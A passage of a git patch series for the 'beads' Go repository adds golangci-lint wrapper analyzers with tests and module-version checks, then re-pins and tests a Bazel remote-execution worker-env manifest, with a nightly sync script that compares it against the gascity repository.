of a package, not its library unit. +func HasTestFiles(pass *analysis.Pass) bool { + for _, f := range pass.Files { + if strings.HasSuffix(pass.Fset.File(f.Pos()).Name(), "_test.go") { + return true + } + } + return false +} + +// RelPath returns name relative to dir (nogo runs in the execution root, the +// repository root for source files) with / separators, the form +// golangci-lint's exclusion paths match. +func RelPath(dir, name string) string { + if filepath.IsAbs(name) && dir != "" { + if rel, err := filepath.Rel(dir, name); err == nil { + name = rel + } + } + return filepath.ToSlash(name) +} + +// The markers golangci-lint's lax mode looks for, lower case. +var laxGeneratedMarkers = []string{ + "code generated", + "do not edit", + "autogenerated file", + "* generated by: swagger codegen ", +} + +// generatedFiles returns the names of the pass's generated files, as +// golangci-lint's generated-file matcher decides them. +func generatedFiles(mode string, pass *analysis.Pass) map[string]bool { + out := map[string]bool{} + if mode == GeneratedDisable { + return out + } + for _, f := range pass.Files { + var gen bool + if mode == GeneratedStrict { + gen = ast.IsGenerated(f) + } else { + gen = IsGeneratedLax(f) + } + if gen { + out[pass.Fset.File(f.Pos()).Name()] = true + } + } + return out +} + +// IsGeneratedLax is golangci-lint's lax test: a comment before the first +// token after the package clause (what parser.PackageClauseOnly reads) +// contains one of the markers, in any case. +func IsGeneratedLax(f *ast.File) bool { + var doc []string + for _, group := range f.Comments { + if len(f.Decls) > 0 && group.Pos() >= f.Decls[0].Pos() { + break + } + doc = append(doc, strings.TrimSpace(group.Text())) + } + text := strings.ToLower(strings.Join(doc, "\n")) + for _, marker := range laxGeneratedMarkers { + if strings.Contains(text, marker) { + return true + } + } + return false +} diff --git a/tools/nogo/internal/golangci/wrap_test.go b/tools/nogo/internal/golangci/wrap_test.go new file mode 100644 index 000000000..926064f81 --- /dev/null +++ b/tools/nogo/internal/golangci/wrap_test.go @@ -0,0 +1,150 @@ +package golangci_test + +import ( + "go/ast" + "testing" + + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// funcs reports every function declaration as "func ". +var funcs = &analysis.Analyzer{ + Name: "funcs", + Doc: "reports every function", + Run: func(pass *analysis.Pass) (any, error) { + for _, f := range pass.Files { + for _, d := range f.Decls { + if fn, ok := d.(*ast.FuncDecl); ok { + pass.Report(analysis.Diagnostic{Pos: fn.Pos(), Message: "func " + fn.Name.Name}) + } + } + } + return nil, nil + }, +} + +func wrapped(t *testing.T, yml string) *analysis.Analyzer { + t.Helper() + cfg, err := golangci.Parse([]byte(yml)) + if err != nil { + t.Fatal(err) + } + return &analysis.Analyzer{ + Name: "fake", + Doc: "funcs under cfg", + Run: func(pass *analysis.Pass) (any, error) { + return golangci.Run(cfg, "fake", funcs, pass) + }, + } +} + +const header = `version: "2" +linters: + default: none + enable: [fake] +` + +func TestNotEnabledReportsNothing(t *testing.T) { + a := wrapped(t, "version: \"2\"\nlinters:\n default: none\n enable: [other]\n") + got := analyzertest.RunInRepo(t, a, "p", map[string]string{"p.go": "package p\n\nfunc f() {}\n"}) + analyzertest.Equal(t, got, nil) +} + +func TestTestsFalseSkipsTestUnits(t *testing.T) { + a := wrapped(t, header+"run:\n tests: false\n") + lib := map[string]string{"p.go": "package p\n\nfunc f() {}\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "p", lib), + []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "func f"}}) + withTest := map[string]string{ + "p.go": "package p\n\nfunc f() {}\n", + "p_test.go": "package p\n\nfunc g() {}\n", + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "p", withTest), nil) +} + +func TestTestsDefaultAnalyzesTestUnits(t *testing.T) { + a := wrapped(t, header) + got := analyzertest.RunInRepo(t, a, "p", map[string]string{ + "p.go": "package p\n\nfunc f() {}\n", + "p_test.go": "package p\n\nfunc g() {}\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "func f"}, + {File: "p_test.go", Line: 3, Message: "func g"}, + }) +} + +func TestGeneratedFilesAreSkipped(t *testing.T) { + files := map[string]string{ + // lax: any marker before the first declaration, in any case. + "gen.go": "// Package p is AutoGenerated File output.\npackage p\n\nfunc g() {}\n", + "late.go": "package p\n\nfunc h() {}\n\n// Code generated by nothing; a marker after the first declaration.\n", + "p.go": "package p\n\n// Do Not Edit this one, says a lax reader.\nfunc f() {}\n", + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, wrapped(t, header), "p", files), + []analyzertest.Diagnostic{{File: "late.go", Line: 3, Message: "func h"}}) + strict := header + " exclusions:\n generated: strict\n" + analyzertest.Equal(t, analyzertest.RunInRepo(t, wrapped(t, strict), "p", files), + []analyzertest.Diagnostic{ + {File: "gen.go", Line: 4, Message: "func g"}, + {File: "late.go", Line: 3, Message: "func h"}, + {File: "p.go", Line: 4, Message: "func f"}, + }) +} + +func TestExclusionRules(t *testing.T) { + yml := header + ` exclusions: + rules: + - path: '^a/' + text: 'func drop' + linters: [fake] + - path-except: '^a/' + linters: [fake] + - text: 'func other' + linters: [other] +` + a := wrapped(t, yml) + src := map[string]string{"p.go": "package p\n\nfunc keep() {}\n\nfunc drop() {}\n\nfunc other() {}\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "a", src), []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "func keep"}, + {File: "p.go", Line: 7, Message: "func other"}, + }) + // Outside a/, the path-except rule drops everything. + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "b", src), nil) +} + +func TestParseIsStrict(t *testing.T) { + for name, yml := range map[string]string{ + "unknown key": header + " settings:\n gosec:\n config: {}\n", + "unknown linter key": header + " settings:\n revive: {}\n", + "version": "version: \"1\"\nlinters:\n default: none\n", + "default": "version: \"2\"\nlinters:\n default: standard\n", + "bad regexp": header + " exclusions:\n rules:\n - text: '('\n", + "empty rule": header + " exclusions:\n rules:\n - {}\n", + } { + if _, err := golangci.Parse([]byte(yml)); err == nil { + t.Errorf("%s: Parse accepted %q", name, yml) + } + } +} + +func TestRepositoryConfigLoads(t *testing.T) { + if _, err := golangci.Load(); err != nil { + t.Fatal(err) + } +} + +func TestRelPath(t *testing.T) { + for _, c := range []struct{ dir, name, want string }{ + {"/x/root", "/x/root/cmd/bd/a.go", "cmd/bd/a.go"}, + {"/x/root", "cmd/bd/a.go", "cmd/bd/a.go"}, + {"", "/abs/a.go", "/abs/a.go"}, + } { + if got := golangci.RelPath(c.dir, c.name); got != c.want { + t.Errorf("RelPath(%q, %q) = %q, want %q", c.dir, c.name, got, c.want) + } + } +} diff --git a/tools/nogo/internal/position/BUILD.bazel b/tools/nogo/internal/position/BUILD.bazel new file mode 100644 index 000000000..200493e23 --- /dev/null +++ b/tools/nogo/internal/position/BUILD.bazel @@ -0,0 +1,31 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "position", + srcs = ["position.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/internal/position", + visibility = ["//tools/nogo:__subpackages__"], + deps = ["@org_golang_x_tools//go/analysis"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/position/position.go b/tools/nogo/internal/position/position.go new file mode 100644 index 000000000..0884439fc --- /dev/null +++ b/tools/nogo/internal/position/position.go @@ -0,0 +1,39 @@ +// Package position converts the token.Position values that some third-party +// checkers return back into token.Pos values an analysis.Pass can report. +package position + +import ( + "go/token" + + "golang.org/x/tools/go/analysis" +) + +// Index maps the file names of a pass's syntax files to their token.File. +type Index map[string]*token.File + +// NewIndex indexes the files of pass by name. +func NewIndex(pass *analysis.Pass) Index { + idx := make(Index, len(pass.Files)) + for _, f := range pass.Files { + tf := pass.Fset.File(f.Pos()) + idx[tf.Name()] = tf + } + return idx +} + +// Pos returns the token.Pos for p, and false when p is not in one of the +// pass's files or lies outside its file. +func (idx Index) Pos(p token.Position) (token.Pos, bool) { + tf, ok := idx[p.Filename] + if !ok || p.Line < 1 || p.Line > tf.LineCount() { + return token.NoPos, false + } + pos := tf.LineStart(p.Line) + if p.Column > 1 { + pos += token.Pos(p.Column - 1) + } + if int(pos)-tf.Base() > tf.Size() { + return token.NoPos, false + } + return pos, true +} diff --git a/tools/nogo/modules_test.go b/tools/nogo/modules_test.go new file mode 100644 index 000000000..8ac5566b3 --- /dev/null +++ b/tools/nogo/modules_test.go @@ -0,0 +1,49 @@ +package nogo_test + +import ( + "os" + "testing" + + "golang.org/x/mod/modfile" + "golang.org/x/mod/semver" +) + +func parseGoMod(t *testing.T, path string) *modfile.File { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading %s: %v", path, err) + } + f, err := modfile.Parse(path, data, nil) + if err != nil { + t.Fatalf("parsing %s: %v", path, err) + } + return f +} + +// TestModuleRequirementsAgreeWithRoot keeps the two modules gazelle.go.work +// joins at identical versions. go_deps resolves them as one graph (highest +// version wins), so a module this one requires at a higher version than the +// root go.mod would silently change what the bd build links under Bazel but +// not under `go build`; a lower one would build the analyzers here against +// versions Bazel never uses. +func TestModuleRequirementsAgreeWithRoot(t *testing.T) { + root := parseGoMod(t, "../../go.mod") + nogo := parseGoMod(t, "go.mod") + rootVersions := map[string]string{} + for _, r := range root.Require { + rootVersions[r.Mod.Path] = r.Mod.Version + } + for _, r := range nogo.Require { + want, ok := rootVersions[r.Mod.Path] + if !ok { + continue + } + if semver.Compare(r.Mod.Version, want) != 0 { + t.Errorf("tools/nogo/go.mod requires %s %s; the root go.mod requires %s (align them)", r.Mod.Path, r.Mod.Version, want) + } + } + if root.Go.Version != nogo.Go.Version { + t.Errorf("tools/nogo/go.mod go %s; root go.mod go %s", nogo.Go.Version, root.Go.Version) + } +} From d652def9dbd70526607a48b7b4e7bf82f3428a60 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:58:06 -0700 Subject: [PATCH 034/213] build(rbe): re-pin worker-env to the updated Blacksmith ubuntu-24.04 image (#7338) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Blacksmith's runner image picked up Ubuntu security updates around 2026-10-07 02:28Z (coreutils 9.4-3ubuntu6.2, git 2.55.0, libc6 2.39-0ubuntu8.8, sed, tar, util-linux). Pool workers now measure worker-env=sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674 while actions requested sha256:f4d6d0460877…, and rbe-west's oss and oss-fork schedulers match worker-env exactly, so no action could run (pools idle, queues growing, every pool run failing the env check). Re-pin to the measured manifest, copied verbatim from the pool worker's report; gascity and beads carry byte-identical copies. Co-authored-by: Claude Opus 5.5 (1M context) --- platforms/BUILD.bazel | 2 +- tools/rbe/worker-env.txt | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index eab8c95d0..e9bd07d6c 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -20,7 +20,7 @@ platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:f4d6d0460877031a71cd0ddb4dc67e789c4e54fc18c0d888fa818c84f8cf61ed", + "worker-env": "sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index 5f24a0f20..b52c65a48 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -4,14 +4,14 @@ go go version go1.26.6 linux/amd64 os ubuntu 24.04 pkg bash 5.2.21-2ubuntu4 pkg cmake 3.28.3-1build7 -pkg coreutils 9.4-3ubuntu6.1 +pkg coreutils 9.4-3ubuntu6.2 pkg diffutils 1:3.10-1build1 pkg findutils 4.9.0-5build1 -pkg git 1:2.52.0-0ppa1~ubuntu24.04.3 +pkg git 1:2.55.0-0ppa1~ubuntu24.04.2 pkg grep 3.11-4build1 pkg jq 1.7.1-3ubuntu0.24.04.2 pkg libbz2-dev 1.0.8-5.1ubuntu0.1 -pkg libc6 2.39-0ubuntu8.6 +pkg libc6 2.39-0ubuntu8.8 pkg libexpat1-dev 2.6.1-2ubuntu0.6 pkg libffi-dev 3.4.6-1build1 pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 @@ -28,11 +28,11 @@ pkg lsof 4.95.0-1build3 pkg make 4.3-4.1build2 pkg procps 2:4.0.4-4ubuntu3.2 pkg python3-dev 3.12.3-0ubuntu2.1 -pkg sed 4.9-2build1 +pkg sed 4.9-2ubuntu0.24.04.1 pkg sqlite3 3.45.1-1ubuntu2.8 -pkg tar 1.35+dfsg-3build1 +pkg tar 1.35+dfsg-3ubuntu0.4 pkg tmux 3.4-1ubuntu0.1 -pkg util-linux 2.39.3-9ubuntu6.4 +pkg util-linux 2.39.3-9ubuntu6.5 pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 From 8d7d7fef1638c3b7fb78117493799386e4870828 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 23:18:24 -0700 Subject: [PATCH 035/213] build(rbe): adopt gascity's toolchain-only worker-env pin; check the copy nightly (#7346) gascity now builds the worker-env manifest from the worker's toolchain, not the image's patch revisions. The manifest records the arch, the OS release, Go and dolt, and the upstream releases of the libraries and tools actions reach (major.minor; git and yq at their major). The Debian epochs and Ubuntu revisions are gone, so the Blacksmith image's routine security updates no longer move the hash. That is what stranded every remote action on 2026-10-07: coreutils 9.4-3ubuntu6.1 -> 6.2 and libc6 2.39-0ubuntu8.6 -> 8.8 forced re-pins (gascity #7266, beads #7338). - tools/rbe/worker-env.txt: byte-identical copy of gascity's new manifest. platforms/BUILD.bazel pins its sha256, sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7. The manifest now also measures python3, curl, openssl, unzip and yq, which //scripts:scripts_test runs from the executor. - scripts/rbe_worker_env_test.go: the manifest must be a rendering of gascity's tools/rbe/worker-env (sorted; one arch, dolt, go, os and yq line; packages at most major.minor, installed). A copy of an older gascity manifest with dpkg revisions, a hand edit or a truncated copy fails here. - tools/rbe/worker-env-sync, run by nightly.yml: compares the manifest and the pin with gascity's main byte for byte. If they differ, it prints the diff and the pin to commit, and fails. Merge this together with the gascity change. Pool workers run gascity main's provisioning, so they serve the new hash only once that change lands, and beads' actions on any other pin queue. This supersedes #7338 (the old-format re-pin). The new key misses the cache once. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/nightly.yml | 17 ++++ platforms/BUILD.bazel | 25 ++--- scripts/rbe_worker_env_test.go | 175 ++++++++++++++++++++++++++++++++- tools/rbe/worker-env-sync | 67 +++++++++++++ tools/rbe/worker-env.txt | 63 ++++++------ 5 files changed, 300 insertions(+), 47 deletions(-) create mode 100755 tools/rbe/worker-env-sync diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 8bca8b8da..025a35ac0 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -120,6 +120,23 @@ jobs: # so this keeps sampling flaky and -race failures every night. fresh-test-results: true + # rbe-west's pool workers are gascity's and advertise the sha256 of + # gascity's worker-env manifest; beads' tools/rbe/worker-env.txt is a + # byte-for-byte copy and platforms/BUILD.bazel carries the same pin. A copy + # that falls behind queues every remote action, so say so every night. + rbe-worker-env-sync: + name: rbe worker-env in step with gascity + if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + - name: Compare the worker-env manifest and pin with gascity's main + run: tools/rbe/worker-env-sync main + full-test: name: Full Test Suite if: ${{ github.event_name == 'schedule' || inputs.suite == 'full-test' }} diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index e9bd07d6c..35cd55d7e 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -2,25 +2,28 @@ # unconditionally with --extra_execution_platforms, so every action and test # executes on it and local, fork-cache and remote runs hash alike). # -# Test actions exec host tools (bash, git, coreutils, ...) and load the -# shared libraries of every cgo binary they link (glibc, libstdc++), so the -# worker host is an input to every cached result. Its exec_properties enter -# each action's key: worker-env is the sha256 of tools/rbe/worker-env.txt, -# the manifest of the pinned worker host. +# Test actions exec host tools (bash, git, python3, coreutils, ...) and load +# the shared libraries of every cgo binary they link (glibc, libstdc++), so +# the worker host is an input to every cached result. Its exec_properties +# enter each action's key: worker-env is the sha256 of +# tools/rbe/worker-env.txt, the toolchain manifest of the pinned worker host +# (arch, OS release, Go, dolt, and the upstream releases of the libraries and +# tools actions reach; not the image's security patch revisions). # # rbe-west's OSS pool is shared with gastownhall/gascity, which owns the # worker image: its tools/rbe/blacksmith-worker.sh advertises the sha256 of # the manifest it measures on its own host (gascity tools/rbe/worker-env), # and the schedulers match worker-env exactly, so these actions run only on -# the pinned host. tools/rbe/worker-env.txt is a byte-for-byte copy of -# gascity's: when gascity moves its pin (a new runner image, a package or Go -# upgrade), copy its manifest here and update this sha256 in the same -# commit, which is a new key for every action. -# scripts/bazel_hermetic_cc_test.go keeps the pin and the manifest in step. +# the pinned toolchain. tools/rbe/worker-env.txt is a byte-for-byte copy of +# gascity's: when gascity moves its pin (a toolchain change: a distribution, +# library or tool release, Go or dolt), copy its manifest here and update +# this sha256 in the same commit, which is a new key for every action. +# scripts/rbe_worker_env_test.go keeps the pin and the manifest in step, and +# tools/rbe/worker-env-sync (nightly) compares both with gascity's main. platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674", + "worker-env": "sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index 0a3408672..ff6f4c2f3 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -4,7 +4,11 @@ import ( "crypto/sha256" "encoding/hex" "errors" + "os" + "os/exec" + "path/filepath" "regexp" + "slices" "strings" "testing" ) @@ -15,13 +19,20 @@ import ( // worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and // rbe-west's schedulers run an action only on a worker that advertises that // exact value. The OSS pool and its manifest are gastownhall/gascity's -// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a copy of the -// manifest so the pin is reviewable and moves only with it. +// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a byte-for-byte +// copy of the manifest so the pin is reviewable and moves only with it, and +// tools/rbe/worker-env-sync (nightly) checks the copy against gascity's main. +// +// The manifest is the worker's toolchain, not its image: arch, OS release, +// Go, dolt, and the upstream releases (at most major.minor) of the libraries +// and tools actions reach. The Blacksmith image's Ubuntu security revisions +// are not in it, so they neither re-key every action nor strand the pool. const ( rbeWorkerPlatformBuild = "platforms/BUILD.bazel" rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" + rbeWorkerEnvSync = "tools/rbe/worker-env-sync" ) var ( @@ -117,3 +128,163 @@ func TestRBEWorkerPlatformGuards(t *testing.T) { } } } + +// rbeWorkerEnvLineRE is every line gascity's tools/rbe/worker-env prints on +// a worker that has what it measures: one arch, dolt, go, os and yq line, +// and each package at its upstream release, at most major.minor. +var rbeWorkerEnvLineRE = map[string]*regexp.Regexp{ + "arch": regexp.MustCompile(`^arch [a-z0-9_]+$`), + "dolt": regexp.MustCompile(`^dolt dolt version \S+$`), + "go": regexp.MustCompile(`^go go version go\S+ linux/\S+$`), + "os": regexp.MustCompile(`^os ubuntu \d+\.\d+$`), + "tool": regexp.MustCompile(`^tool yq \d+$`), + "pkg": regexp.MustCompile(`^pkg [a-z0-9][a-z0-9+.-]* \d+(\.\d+)?$`), +} + +// checkRBEWorkerEnvManifest: manifest is a rendering of gascity's +// tools/rbe/worker-env in its toolchain-only form. A copy of an older +// gascity manifest (dpkg revisions such as 9.4-3ubuntu6.2), a hand edit, or +// a truncated copy fails here rather than queueing every remote action. +func checkRBEWorkerEnvManifest(manifest string) []error { + if !strings.HasSuffix(manifest, "\n") { + return []error{errors.New(rbeWorkerEnvManifest + " must end with a newline, as gascity's tools/rbe/worker-env prints it")} + } + lines := strings.Split(strings.TrimSuffix(manifest, "\n"), "\n") + var errs []error + if !slices.IsSorted(lines) { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" is not sorted (LC_ALL=C), as gascity's tools/rbe/worker-env prints it")) + } + seen := map[string]int{} + for _, line := range lines { + kind, _, _ := strings.Cut(line, " ") + seen[kind]++ + re := rbeWorkerEnvLineRE[kind] + if re == nil || !re.MatchString(line) { + errs = append(errs, errors.New(rbeWorkerEnvManifest+": "+strings.TrimSpace(line)+ + " is not a gascity tools/rbe/worker-env line (packages are measured at their upstream release, at most major.minor, and installed)")) + } + } + for _, kind := range []string{"arch", "dolt", "go", "os", "tool"} { + if seen[kind] != 1 { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" needs exactly one "+kind+" line")) + } + } + if seen["pkg"] == 0 { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" has no packages")) + } + return errs +} + +func TestRBEWorkerEnvManifestIsGascitysRendering(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkRBEWorkerEnvManifest(readPolicyFile(t, root, rbeWorkerEnvManifest)) { + t.Error(err) + } +} + +func TestRBEWorkerEnvManifestGuards(t *testing.T) { + good := "arch x86_64\ndolt dolt version 2.1.8\ngo go version go1.26.6 linux/amd64\nos ubuntu 24.04\n" + + "pkg coreutils 9.4\npkg git 2\npkg libc6 2.39\ntool yq 4\n" + if errs := checkRBEWorkerEnvManifest(good); len(errs) != 0 { + t.Fatalf("good manifest fixture: %v", errs) + } + for name, bad := range map[string]string{ + "dpkg revision": strings.Replace(good, "pkg coreutils 9.4\n", "pkg coreutils 9.4-3ubuntu6.2\n", 1), + "epoch": strings.Replace(good, "pkg git 2\n", "pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n", 1), + "patch level": strings.Replace(good, "pkg libc6 2.39\n", "pkg libc6 2.39.0\n", 1), + "missing package": strings.Replace(good, "pkg git 2\n", "pkg git missing\n", 1), + "no yq line": strings.Replace(good, "tool yq 4\n", "", 1), + "unsorted": strings.Replace(good, "arch x86_64\n", "", 1) + "arch x86_64\n", + "no newline": strings.TrimSuffix(good, "\n"), + "unknown line": good + "zzz extra\n", + "two os lines": strings.Replace(good, "os ubuntu 24.04\n", "os ubuntu 24.04\nos ubuntu 26.04\n", 1), + } { + if len(checkRBEWorkerEnvManifest(bad)) == 0 { + t.Errorf("%s: expected an error", name) + } + } +} + +// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local +// gascity (file:// URLs): quiet success when the manifest and pin match +// gascity's at REF, and otherwise exit 1 with the diff and the pin to commit +// in the output and step summary, for a manifest or a pin that differs. +func TestRBEWorkerEnvSync(t *testing.T) { + requireHostTool(t, "curl") + requireHostTool(t, "bash") + script := filepath.Join(bazelPolicyRoot(t), rbeWorkerEnvSync) + manifest := "arch x86_64\npkg git 2\n" + sum := sha256.Sum256([]byte(manifest)) + pin := "sha256:" + hex.EncodeToString(sum[:]) + build := func(pin string) string { + return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" + } + write := func(path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + gascity := t.TempDir() + write(filepath.Join(gascity, "main", "tools/rbe/worker-env.txt"), manifest) + write(filepath.Join(gascity, "main", "platforms/BUILD.bazel"), build(pin)) + + run := func(ourManifest, ourPin string) (string, string, error) { + t.Helper() + beads := t.TempDir() + write(filepath.Join(beads, rbeWorkerEnvManifest), ourManifest) + write(filepath.Join(beads, rbeWorkerPlatformBuild), build(ourPin)) + summary := filepath.Join(beads, "summary.md") + cmd := exec.Command("bash", script) + cmd.Dir = beads + cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity, "GITHUB_STEP_SUMMARY="+summary) + out, err := cmd.CombinedOutput() + b, _ := os.ReadFile(summary) + return string(out), string(b), err + } + + out, summary, err := run(manifest, pin) + if err != nil || !strings.Contains(out, "worker-env: in step with gascity main ("+pin+")") || summary != "" { + t.Fatalf("in step: %v\n%s\nsummary:\n%s", err, out, summary) + } + + stale := "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" + staleSum := sha256.Sum256([]byte(stale)) + stalePin := "sha256:" + hex.EncodeToString(staleSum[:]) + for name, c := range map[string][2]string{ + "manifest and pin": {stale, stalePin}, + "pin only": {manifest, stalePin}, + "manifest only": {stale, pin}, + } { + out, summary, err := run(c[0], c[1]) + if err == nil { + t.Errorf("%s out of step: succeeded\n%s", name, out) + continue + } + for _, want := range []string{ + "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + pin, + " \"worker-env\": \"" + pin + "\",\n", + } { + if !strings.Contains(out, want) { + t.Errorf("%s: output lacks %q:\n%s", name, want, out) + } + } + if !strings.Contains(summary, "### rbe worker-env out of step with gascity") { + t.Errorf("%s: no step summary:\n%s", name, summary) + } + if c[0] != manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { + t.Errorf("%s: no manifest diff:\n%s", name, out) + } + } + + // gascity unreachable (a REF that does not exist): an error, never "in step". + cmd := exec.Command("bash", script, "no-such-ref") + cmd.Dir = t.TempDir() + cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity) + if out, err := cmd.CombinedOutput(); err == nil { + t.Errorf("worker-env-sync of a missing ref succeeded:\n%s", out) + } +} diff --git a/tools/rbe/worker-env-sync b/tools/rbe/worker-env-sync new file mode 100755 index 000000000..6152b86f9 --- /dev/null +++ b/tools/rbe/worker-env-sync @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# worker-env-sync: check that beads' worker-env pin is gascity's. +# +# tools/rbe/worker-env-sync [REF] +# +# rbe-west's OSS pool workers are gastownhall/gascity's: each advertises the +# sha256 of the toolchain manifest it measures (gascity tools/rbe/worker-env), +# and the schedulers match worker-env exactly. beads' actions request +# //platforms:rbe_worker's pin, the sha256 of tools/rbe/worker-env.txt, a +# byte-for-byte copy of gascity's. If the copies part, beads' remote actions +# queue on a pin no worker serves. This compares the manifest and the pin +# with gascity's at REF (default main) and, if either differs, prints the +# diff and what to commit (stdout and $GITHUB_STEP_SUMMARY) and exits 1. +# Run from the repository root. +# +# Env (tests only): WORKER_ENV_SYNC_URL, gascity's raw-content base (default +# https://raw.githubusercontent.com/gastownhall/gascity). +set -euo pipefail + +ref=${1:-main} +base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref +tmp=$(mktemp -d) +trap 'rm -rf "$tmp"' EXIT + +summary() { + if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then cat >>"$GITHUB_STEP_SUMMARY"; else cat >/dev/null; fi +} + +# pin_of FILE: the worker-env pin in a platforms/BUILD.bazel ("none" if none). +pin_of() { + local pin + pin=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' "$1") + echo "${pin:-none}" +} + +curl -fsSL --retry 3 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --retry 3 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" +ours=$(pin_of platforms/BUILD.bazel) +theirs=$(pin_of "$tmp/BUILD.bazel") +if cmp -s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs" ]; then + echo "worker-env: in step with gascity $ref ($ours)" + exit 0 +fi + +diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/worker-env.txt" >"$tmp/diff" || true +{ + cat <<-EOF + ### rbe worker-env out of step with gascity + + beads pins \`worker-env=$ours\`; gascity \`$ref\` pins \`$theirs\`. rbe-west's pool workers advertise gascity's, so beads' remote actions on another pin only queue. Copy gascity's \`tools/rbe/worker-env.txt\` here byte for byte, and in \`platforms/BUILD.bazel\` set: + + \`\`\` + "worker-env": "$theirs", + \`\`\` + +
diff (beads to gascity $ref) + + \`\`\`diff + $(cat "$tmp/diff") + \`\`\` +
